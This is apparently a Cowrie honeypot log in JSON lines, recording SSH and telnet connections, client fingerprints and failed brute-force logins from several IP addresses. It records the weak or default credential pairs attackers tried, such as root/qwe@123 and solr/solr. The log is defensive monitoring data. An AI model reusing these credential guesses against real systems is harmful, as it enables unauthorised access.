{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:47.754952Z","src_ip":"176.65.139.103","session":"9290f4090bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:48.054149Z","src_ip":"176.65.139.103","session":"9290f4090bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:49.192282Z","src_ip":"176.65.139.103","session":"9290f4090bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.367680311203,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:52.598193Z","src_ip":"185.26.126.47","session":"d4bf852700e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56050,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f3b42d30da4","protocol":"ssh","message":"New connection: 176.65.139.103:56050 (10.17.0.5:22) [session: 5f3b42d30da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:54.370097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:54.382086Z","src_ip":"176.65.139.103","session":"5f3b42d30da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:54.457134Z","src_ip":"176.65.139.103","session":"5f3b42d30da4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:54.834587Z","src_ip":"176.65.139.103","session":"5f3b42d30da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:56.150066Z","src_ip":"176.65.139.103","session":"5f3b42d30da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e230ac45f92","protocol":"ssh","message":"New connection: 103.176.20.115:37152 (10.17.0.5:22) [session: 2e230ac45f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:56.811385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:56.815673Z","src_ip":"103.176.20.115","session":"2e230ac45f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:57.060017Z","src_ip":"103.176.20.115","session":"2e230ac45f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456oo","message":"login attempt [root/123456oo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:58.066391Z","src_ip":"103.176.20.115","session":"2e230ac45f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:47:59.312955Z","src_ip":"103.176.20.115","session":"2e230ac45f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56056,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4903bd94632","protocol":"ssh","message":"New connection: 176.65.139.103:56056 (10.17.0.5:22) [session: c4903bd94632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:01.138878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:01.151530Z","src_ip":"176.65.139.103","session":"c4903bd94632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:01.253724Z","src_ip":"176.65.139.103","session":"c4903bd94632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:01.867744Z","src_ip":"176.65.139.103","session":"c4903bd94632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:02.988353Z","src_ip":"176.65.139.103","session":"c4903bd94632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"e88e88f8592d","protocol":"ssh","message":"New connection: 176.65.139.103:60788 (10.17.0.5:22) [session: e88e88f8592d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:08.031612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:08.047807Z","src_ip":"176.65.139.103","session":"e88e88f8592d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:08.124802Z","src_ip":"176.65.139.103","session":"e88e88f8592d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:08.445747Z","src_ip":"176.65.139.103","session":"e88e88f8592d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:09.749633Z","src_ip":"176.65.139.103","session":"e88e88f8592d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40786,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81199549052","protocol":"ssh","message":"New connection: 176.65.139.103:40786 (10.17.0.5:22) [session: f81199549052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:14.793091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:14.798058Z","src_ip":"176.65.139.103","session":"f81199549052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:14.886858Z","src_ip":"176.65.139.103","session":"f81199549052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:15.516278Z","src_ip":"176.65.139.103","session":"f81199549052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:16.599965Z","src_ip":"176.65.139.103","session":"f81199549052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.606061697006226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:17.470197Z","src_ip":"213.136.75.179","session":"023c4b4eedbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48798,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ec348758c16","protocol":"ssh","message":"New connection: 159.203.92.129:48798 (159.203.135.109:22) [session: 6ec348758c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.077937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.082824Z","src_ip":"159.203.92.129","session":"6ec348758c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.087745Z","src_ip":"159.203.92.129","session":"6ec348758c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!@#qweASD123","message":"login attempt [ansible/!@#qweASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.099270Z","src_ip":"159.203.92.129","session":"6ec348758c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"1abb15ae6ed7","protocol":"ssh","message":"New connection: 176.65.139.103:40800 (10.17.0.5:22) [session: 1abb15ae6ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.509968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.523157Z","src_ip":"176.65.139.103","session":"1abb15ae6ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:21.592873Z","src_ip":"176.65.139.103","session":"1abb15ae6ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:22.038389Z","src_ip":"176.65.139.103","session":"1abb15ae6ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:22.106234Z","src_ip":"159.203.92.129","session":"6ec348758c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:23.157717Z","src_ip":"176.65.139.103","session":"1abb15ae6ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40328,"dst_ip":"10.17.0.5","dst_port":23,"session":"608c56dda850","protocol":"telnet","message":"New connection: 213.136.75.179:40328 (10.17.0.5:23) [session: 608c56dda850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:23.574886Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49894,"dst_ip":"10.17.0.5","dst_port":22,"session":"2482ac360cc3","protocol":"ssh","message":"New connection: 176.65.139.103:49894 (10.17.0.5:22) [session: 2482ac360cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:28.026067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:28.031063Z","src_ip":"176.65.139.103","session":"2482ac360cc3","protocol":"ssh"}
